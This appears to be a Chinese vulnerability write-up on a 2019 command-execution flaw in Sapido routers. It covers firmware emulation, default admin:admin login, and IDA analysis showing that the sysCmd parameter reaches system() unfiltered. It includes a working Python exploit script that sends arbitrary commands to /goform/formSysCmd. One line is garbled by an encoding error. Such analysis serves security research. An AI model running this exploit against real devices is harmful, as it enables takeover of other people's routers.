金智洋Sapido是台湾钢铁集团专为 IoT 物联网技术所投资的品牌科技公司，专门设计开发智慧全无线保全系统及硬体设备，同时拥有APP的研发能力，跨足智慧家庭 SMART HOME TOTAL SOLUTION 及 智能制造 & ERP等全方位企业整合方案，提供无线分享器网通产品、智慧插座、监控保全等产品。金智洋Sapido凭藉专业的研发团队及行销市场的规划，深耕台湾，坚持台湾制造，并荣获台湾唯一拥有MIT微笑标章的网路通讯企业，且至今已累积50座台湾精品奖的殊荣，获颁台湾精品终身成就奖。2019年该旗下多个型号路由器存在未授权命令执行漏洞，可被黑客进行恶意利用。主要影响的版本为BR270n-v2.1.03、BRC76n-v2.1.03、GR297-v2.1.3、RB1732-v2.0.43及之前的版本。
在这里该固件的环境模拟主要通过firmware-analysis-toolkit工具实现，该工具集成了主流的几款自动化固件模拟工具。这里推荐大家下载attifyos3.0，其中已安装firmware-analysis-toolkit工具
attifyos3.0下载地址：https://pan.baidu.com/s/1-UQOBax1-t8EFVrzGvEhVQ提取码：zshs
本次漏洞分析所使用的固件版本为：RB-1732_TC_v2.0.43
固件下载地址：https://share.weiyun.com/5Z9kOYc
进入attifyos虚拟机中，切换目录至～/tools/firmware-analysis-toolkit
将RB-1732_TC_v2.0.43.bin放置到虚拟机中，在这里我的位置为/home/iot/Desktop/firewalk/RB-1732_TC_v2.0.43.bin
在命令行中执行 python3 fat.py /home/iot/Desktop/firewalk/RB-1732_TC_v2.0.43.bin
这里首先会进行网络的自动化配置，当显示br0的网络地址时，表示模拟器网络已配置好，记住此时的br0地址为192.168.1.1
此时回车，进行固件的部署，稍等片刻，显示如下图则表示环境已部署完成
访问http://192.168.1.1/admin.asp，此时显示路由器的管理页面，默认账号密码为admin:admin，表示环境已模拟完成
使用admin:admin默认账号登录后台，页面显示如下
接下来访问http://192.168.1.1/syscmd.asp，进入到命令执行页
输入ifconfig命令，成功执行
通过漏洞利用脚本执行结果如下
rb1732_exploit.py脚本内容如下
import requestsimport sysdef test_httpcommand(ip, command): my_data = {'sysCmd': command, 'apply': 'Apply', 'submit-url':'/syscmd.asp', 'msg':''} r = requests.post('http://%s/goform/formSysCmd' % ip, data = my_data) content = r.text content = content[ content.find('<textarea rows="15" name="msg" cols="80" wrap="virtual">')+56: content.rfind('</textarea>')] return content print test_httpcommand(sys.argv[1], " ".join(sys.argv[2:]))
根据syscmd.asp页面，输入ifconfig命令，抓包可知，真正执行命令的后台程序为/goform/formSysCmd，命令的参数名为sysCmd。
接下来使用binwalk进行固件提�。⑹越性绰敕治�，命令为binwalk -Me RB-1732_TC_v2.0.43.bin
提取完成后，会生成_RB-1732_TC_v2.0.43.bin.extracted目录，其中保存有固件的源码
进入到_RB-1732_TC_v2.0.43.bin.extracted/squashfs-root中，grep -r "formSysCmd"，全局查找存在该字符的位置
可以看到，除了syscmd.asp和obama.asp页面程序，只有bin/webs文件匹配到，初步判断webs程序才是真正的后台处理程序
file bin/webs，查看程序文件格式，为mips 32位程序
将webs文件拷贝出来，导入ida进行静态分析，view -> open subviews -> Strings查看全部字符串
crtl +F 查找formSyscmd字段
可以看到有2个位置存在该字段，分别位于004044DB和00471A44两个位置，首先双击004044DB的位置进入
继续双击formSysCmd，进入该函数的定义
F5进行反编译查看伪代码
到这里我们可以清楚地看到，formSysCmd函数通过websGetVar函数获取用户的输入，包括有submit_url、sysCmd、writeData、filename、fpath、readfile的参数值。其中v3为sysCmd的参数值
接下来在没有过滤v3值的情况下，通过snprintf格式化拼接字符串，得到 v20= &v3 2>&1 > /tmp/syscmd.log
最终调用system函数执行v20的字符串。
这里将v3设置成ifconfig，我们在本地执行查看效果，可以看到命令成功执行，并将结果返回到syscmd.log，因此只要命令在syscmd参数位置输入系统命令，则可导致命令执行漏洞
浙公网安备 33010502006954号
浙ICP备12021012号-1
